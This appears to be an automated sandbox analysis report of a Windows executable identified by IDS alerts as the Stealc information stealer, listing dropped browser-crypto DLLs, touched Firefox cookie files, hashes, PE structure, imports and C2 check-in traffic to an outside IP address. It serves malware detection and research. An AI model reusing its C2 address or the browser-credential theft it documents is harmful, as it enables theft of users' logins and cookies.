SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\T220UXIoKO.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.447899657646229
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	T220UXIoKO.exe
File size:	399'360 bytes
MD5:	ae4d9a7e7f5a086b46b05f5949fc1c78
SHA1:	aad8e86e05fe87ea59267d9fc99687de1ebd0cbe
SHA256:	2eb45489a3253bd7ea77a5dc899e86a857fd8dab45dd89de0837289d6ffc5c05
SHA512:	161504c1be3f55d90b60e47fa147003ca7dbeca182a2d0e5656d4962c108bece7bb44d465f8830dbb289d81f35a9aac3a3f01bda45e6e6f6747cfbb1abf7883c
SSDEEP:	6144:6PLC/vtf3RugBrFvfNlZkFKLAsulGgB1xAF2wRaPfZT7IH/kWTI:wSfBu+Nk0AAoM2wR6f5Kj
TLSH:	8884D01135A0FC71C5520E344939C7E9697EFC729A58994B332C7F6F3C393A2AAA2315
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Z...Z...Z...D...z...D...B...D.......}3.._...Z...'...D...[...D...[...D...[...RichZ...................PE..L......e...........

File Icon


Icon Hash:	63396de971436e0f

Static PE Info

General

Entrypoint:	0x403a18
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x65B5C392 [Sun Jan 28 03:01:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	60292dd185c67d0ddd8dc10e8ecfb2bb

Entrypoint Preview

Instruction
call 00007FE0BCD617D9h
jmp 00007FE0BCD5CFFEh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
call 00007FE0BCD5D1BCh
xchg cl, ch
jmp 00007FE0BCD5D1A4h
call 00007FE0BCD5D1B3h
fxch st(0), st(1)
jmp 00007FE0BCD5D19Bh
fabs
fld1
mov ch, cl
xor cl, cl
jmp 00007FE0BCD5D191h
mov byte ptr [ebp-00000090h], FFFFFFFEh
fabs
fxch st(0), st(1)
fabs
fxch st(0), st(1)
fpatan
or cl, cl
je 00007FE0BCD5D186h
fldpi
fsubrp st(1), st(0)
or ch, ch
je 00007FE0BCD5D184h
fchs
ret
fabs
fld st(0), st(0)
fld st(0), st(0)
fld1
fsubrp st(1), st(0)
fxch st(0), st(1)
fld1
faddp st(1), st(0)
fmulp st(1), st(0)
ftst
wait
fstsw word ptr [ebp-000000A0h]
wait
test byte ptr [ebp-0000009Fh], 00000001h
jne 00007FE0BCD5D187h
xor ch, ch
fsqrt
ret
pop eax
jmp 00007FE0BCD6199Fh
fstp st(0)
fld tbyte ptr [004497EAh]
ret
fstp st(0)
or cl, cl
je 00007FE0BCD5D18Dh
fstp st(0)
fldpi
or ch, ch
je 00007FE0BCD5D184h
fchs
ret
fstp st(0)
fldz
or ch, ch
je 00007FE0BCD5D179h
fchs
ret
fstp st(0)
jmp 00007FE0BCD61975h
fstp st(0)
mov cl, ch
jmp 00007FE0BCD5D182h
call 00007FE0BCD5D14Eh
jmp 00007FE0BCD61980h
int3
int3
int3
int3
int3
int3
int3

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4781c	0x3c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5b000	0x12b50	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25f000	0xa48	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2690	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x19c	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4717c	0x47200	efe366af2cc7142c187c44f692855b39	False	0.7344951394991213	data	7.016268527861018	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x49000	0x1185c	0x6000	22c1fc20c552778384a3b683452e396a	False	0.07779947916666667	Matlab v4 mat-file (little endian) n2, sparse, rows 0, columns 0	0.905430377863578	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5b000	0x203b50	0x12c00	83931834470b8e671207dc5e356833d9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x25f000	0x14be	0x1600	7966c0fdbe2ac245629eee6e4b0ed75a	False	0.4055397727272727	data	3.9745185807672145	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
XUBONAVEGUCIZAKUFAMABAWADUJATA	0x65130	0x1e31	ASCII text, with very long lines (7729), with no line terminators	Tamil	India	0.5879156423858196
XUBONAVEGUCIZAKUFAMABAWADUJATA	0x65130	0x1e31	ASCII text, with very long lines (7729), with no line terminators	Tamil	Sri Lanka	0.5879156423858196
RT_CURSOR	0x66fc0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.2953091684434968
RT_CURSOR	0x67e68	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.46705776173285196
RT_CURSOR	0x68710	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5361271676300579
RT_CURSOR	0x68ca8	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4375
RT_CURSOR	0x68dd8	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0			0.44886363636363635
RT_CURSOR	0x68eb0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x69d58	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x6a600	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_CURSOR	0x6ab98	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.30943496801705755
RT_CURSOR	0x6ba40	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.427797833935018
RT_CURSOR	0x6c2e8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5469653179190751
RT_ICON	0x5b7f0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.532258064516129
RT_ICON	0x5b7f0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.532258064516129
RT_ICON	0x5beb8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.40933609958506223
RT_ICON	0x5beb8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.40933609958506223
RT_ICON	0x5e460	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.44769503546099293
RT_ICON	0x5e460	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.44769503546099293
RT_ICON	0x5e8f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.36886993603411516
RT_ICON	0x5e8f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.36886993603411516
RT_ICON	0x5f7a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.5130866425992779
RT_ICON	0x5f7a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.5130866425992779
RT_ICON	0x60048	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.5841013824884793
RT_ICON	0x60048	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.5841013824884793
RT_ICON	0x60710	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.6502890173410405
RT_ICON	0x60710	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.6502890173410405
RT_ICON	0x60c78	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	India	0.462448132780083
RT_ICON	0x60c78	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	Sri Lanka	0.462448132780083
RT_ICON	0x63220	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	India	0.475375234521576
RT_ICON	0x63220	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	Sri Lanka	0.475375234521576
RT_ICON	0x642c8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	India	0.45778688524590166
RT_ICON	0x642c8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	Sri Lanka	0.45778688524590166
RT_ICON	0x64c50	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	India	0.5106382978723404
RT_ICON	0x64c50	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	Sri Lanka	0.5106382978723404
RT_DIALOG	0x6cad0	0x58	data			0.8977272727272727
RT_STRING	0x6cb28	0x374	data	Tamil	India	0.46945701357466063
RT_STRING	0x6cb28	0x374	data	Tamil	Sri Lanka	0.46945701357466063
RT_STRING	0x6cea0	0x2ae	data	Tamil	India	0.478134110787172
RT_STRING	0x6cea0	0x2ae	data	Tamil	Sri Lanka	0.478134110787172
RT_STRING	0x6d150	0x4e8	data	Tamil	India	0.4434713375796178
RT_STRING	0x6d150	0x4e8	data	Tamil	Sri Lanka	0.4434713375796178
RT_STRING	0x6d638	0x514	data	Tamil	India	0.4276923076923077
RT_STRING	0x6d638	0x514	data	Tamil	Sri Lanka	0.4276923076923077
RT_ACCELERATOR	0x66f68	0x58	data	Tamil	India	0.7954545454545454
RT_ACCELERATOR	0x66f68	0x58	data	Tamil	Sri Lanka	0.7954545454545454
RT_GROUP_CURSOR	0x68c78	0x30	data			0.9375
RT_GROUP_CURSOR	0x68e88	0x22	data			1.0588235294117647
RT_GROUP_CURSOR	0x6ab68	0x30	data			0.9375
RT_GROUP_CURSOR	0x6c850	0x30	data			0.9375
RT_GROUP_ICON	0x5e8c8	0x30	data	Tamil	India	0.9375
RT_GROUP_ICON	0x5e8c8	0x30	data	Tamil	Sri Lanka	0.9375
RT_GROUP_ICON	0x650b8	0x76	data	Tamil	India	0.6694915254237288
RT_GROUP_ICON	0x650b8	0x76	data	Tamil	Sri Lanka	0.6694915254237288
RT_VERSION	0x6c880	0x250	data			0.5337837837837838

Imports

DLL

Import

KERNEL32.dll

GlobalCompact, CreateProcessW, InterlockedIncrement, GetCurrentProcess, GetLogicalDriveStringsW, CreateJobObjectW, SetComputerNameW, SetVolumeMountPointW, GetComputerNameW, GetTickCount, GetCommConfig, ClearCommBreak, GetConsoleAliasExesW, EnumTimeFormatsW, TlsSetValue, GetEnvironmentStrings, SetFileShortNameW, ReadConsoleInputA, GetVersionExW, GetFileAttributesA, GlobalMemoryStatus, GetModuleFileNameW, GetShortPathNameA, VerifyVersionInfoW, InterlockedExchange, GetLastError, SetLastError, GetProcAddress, VirtualAlloc, DefineDosDeviceW, CreateNamedPipeA, SetFileAttributesA, LoadLibraryA, GetNumberFormatW, OpenJobObjectW, SetEnvironmentVariableA, GetCurrentDirectoryA, OpenEventW, LCMapStringW, CommConfigDialogW, GetTimeFormatW, GetTempFileNameW, HeapAlloc, HeapReAlloc, GetStartupInfoW, RaiseException, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, HeapFree, VirtualFree, HeapCreate, GetModuleHandleW, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, TerminateProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, GetStartupInfoA, TlsGetValue, TlsAlloc, TlsFree, GetCurrentThreadId, InterlockedDecrement, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetModuleHandleA, InitializeCriticalSectionAndSpinCount, RtlUnwind, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, WideCharToMultiByte, HeapSize, GetLocaleInfoA, LCMapStringA, MultiByteToWideChar, GetStringTypeA, GetStringTypeW, GetConsoleCP, GetConsoleMode, FlushFileBuffers, SetFilePointer, CloseHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, SetStdHandle, CreateFileA

GDI32.dll

GetCharWidth32A

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T13:26:59.496427+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	109.107.157.208	80	TCP
2024-10-24T13:26:59.758769+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	109.107.157.208	80	TCP
2024-10-24T13:26:59.768301+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	109.107.157.208	80	192.168.2.4	49730	TCP
2024-10-24T13:27:00.001938+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	109.107.157.208	80	TCP
2024-10-24T13:27:00.010159+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	109.107.157.208	80	192.168.2.4	49730	TCP
2024-10-24T13:27:00.578187+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	109.107.157.208	80	TCP
2024-10-24T13:27:01.090865+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	109.107.157.208	80	TCP
2024-10-24T13:27:06.520520+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	109.107.157.208	80	TCP
2024-10-24T13:27:07.523079+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	109.107.157.208	80	TCP
2024-10-24T13:27:08.491835+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	109.107.157.208	80	TCP
2024-10-24T13:27:09.007127+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	109.107.157.208	80	TCP
2024-10-24T13:27:10.312050+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	109.107.157.208	80	TCP
2024-10-24T13:27:10.689495+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	109.107.157.208	80	TCP
